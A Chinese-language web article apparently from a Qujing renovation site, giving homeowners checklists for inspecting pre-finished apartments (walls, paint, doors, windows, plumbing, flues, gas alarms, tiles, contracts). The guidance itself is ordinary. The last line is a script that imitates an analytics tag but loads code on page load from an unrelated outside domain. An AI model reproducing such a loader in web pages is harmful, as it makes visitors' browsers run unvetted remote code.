曲靖精装修房如何进行装修质量验收?

精装修房好的地方在哪里?相信很多曲靖业主都知道，曲靖精装修房业主买了之后，就不用再去操心那些让人为之头疼的装修呢。精装修房由于不需要咱们的业主操心，再加上里面的装修材料都是大批量进行购买的，因此就相对应的节约了成本，服务也更加专业化。对咱们曲靖业主的好处就是，直接拎包入住，没有烦恼!但是精装修房可能出现的问题业主们又有谁熟悉呢?当下的精装修房大多都是能够按照房产开发商和购房人的合同要求完成，但是近几年来我们发现也有很多为了利益驱使的房产开发商、装修材料商、工程单位侵吞工程款项，并且在装修施工过程中使用假冒伪劣材料，在装修施工工艺上投机取巧。对于这种情况的发生，我们的业主就要对精装房的进行验收呢!精装修房质量验收是个复杂的问题，以下是一些曲靖装修网小编总结的精装修房验房时简单的操作方法：第一.检验精装修房的房顶高度：我们可以用尺在房顶取那么4-5个点去进行测量，若是数值一致的话，那么就说明房顶没有倾斜。第二.墙壁地面：用长尺等靠近墙壁地面，检查墙壁是不是平整，与此同时我们应该多观察是不是有划痕裂纹，墙面是不是有爆点。第三.曲靖精装修房乳胶漆质量：我们可以利用周围光线的暗时，用大功率灯泡(200瓦)照射，灯一亮，墙壁天花板是不是平整就会立刻通过光线的阴影看出，如果说不平的话，那么我们就要重新去补腻子刷漆;如果局部刷漆(修补过)会与墙壁原色产生差异。第四.门的质量：用镜子放到门顶部和门底部，检查这些平时看不到的地方是不是刷过油漆。特别是卫生间的门，如果其顶部和底部的油漆没有刷全，时间一长，会使门底部过早腐烂损坏。检查防盗门有无划痕，门边是否变形，门与框的密封是是不是严密，门和锁开关是不是灵活。第五.窗户：推拉窗上的纱窗和窗扇，应该感觉到推动灵活，相互没有碰撞。窗户外窗框上应有防堵帽，防止异物堵塞影响排水。第六.门窗的密封性：检查门窗的密封是否良好，可用一长纸条放在密封点上，关门压住纸条用力抽出，多几次试验可以看出密封条的压力是否均匀。第七.精装修房验电：咱们的取景业主可以自己可以购买一个专业验电器，按照使用说明逐一验收。第八.空鼓：把专用钢针小锤(10g)垫上几层纸敲击墙壁，检查墙面空鼓。第九.检查管道安装、通畅和密封：我们可以试着用手使劲晃动暖气管和上水管，应固定牢固。如果说松动了的话，应该重新固定。打开水阀看排水是否流畅，放水时用卫生纸擦拭上下管道底部有无渗漏。第十.暖气片：A：暖气片上方应有排气孔，使用时应拧动将气体排掉。如果拧不动就需要修理解决，否则气排不出来，暖气片不热。B：还要注意暖气片安装时进水管和回水管的坡度要符合要求，否则影响采暖。第十一.厨房烟道：用纸卷点火后灭火冒烟，放在烟道口下方10厘米左右，看烟是否上升到烟道口立即拐弯吸走。第十二.管道煤气：用冒烟的纸卷放到报警装置附近，看装置是否灵敏;报警声光提示的同时会关闭进气电磁阀，如果不能，要及时修复。第十三.卫生间：A：卫生间在楼道内有窗户的应该安装防盗网。B：如若没有窗户，则应有通风孔。通风孔设在吊顶下面。离通风孔最近的插座须是防水插座。第十四.精装修房的厨房和卫生间：这2个地方是瓷砖到顶的，要检查四角无磕碰(房顶四角和地面四角)，地砖墙砖无变形开裂和空鼓。用小锤划击地砖和墙砖，有空洞声音，应该重新铺设。

验房精装修注意事项和精装修房子如何验房

精装修就是设计装修好的房子，设计好之后直接进行拎包入住即可。但是精装修的房子毕竟不是自己进行装修的，可能会存在一些问题。那么验房精装修注意事项有哪些和精装修房子如何验房呢？验房注意事项从入住之前进行的。精装修房子根据地面和卫生间设计的效果为主要验房事项。具体的请看下面是怎么说的吧。一、验房精装修注意事项1、进行验房精装修效果的时候，需要首先查看一下开发商的楼盘备案，验收案件原件和验收面积原件。2、入住之前要检查一下购房合同和附件，看看是否跟之前谈好的一致。最好在入住之前，跟开发商提出重新审核房子的要求，要是存在异议的话，要提出交涉。3、验房精装修的时候，在窗户合页和水管是最容易出现问题的地方，所以在验房的时候一定要仔细查看这两部分。4、验房精装修效果的时候，需要再看一下房子的质量，如果有一些结构问题，需要提前向开发商提出一些异议，并且向有关部分进行反映。5、如果对验房精装修效果满意的话是需要进行签字的，并且需要缴纳各种费用。如果不满意可以写出一些意见和建议，并签署相关的文件，直到做到满意为止。二、对精装修房子如何验房1、看备案留两书入住之前进行对两书的查看，一个事备案文件复印文件，确保自己购买的房子是合法的。二是看保证书和住宅说明书。2、卫生间地面是否有渗漏问题开始验房精装修效果的时候，要留意卫生间的部分，看看是否有漏水的现象。如果漏水说明质量没有达标，需要与开发商进行协商，这样才能使得自己的利益不受损害。3、房屋墙面是否存在缝隙检查房屋的时候，用一个小锤轻轻敲打房子的墙面和地面，如果有空空的声音，说明里面存在空鼓的现象，要与开发商进行协调，找维修人员进行修补。以上就是这次讲到的关于验房精装修注意事项和精装修房子如何验房两个大方面，有需要购买精装房的朋友们一定要注重房子的检查工作，因为做好了前期的保障是为了后期的使用方便。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://m.kcdates.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();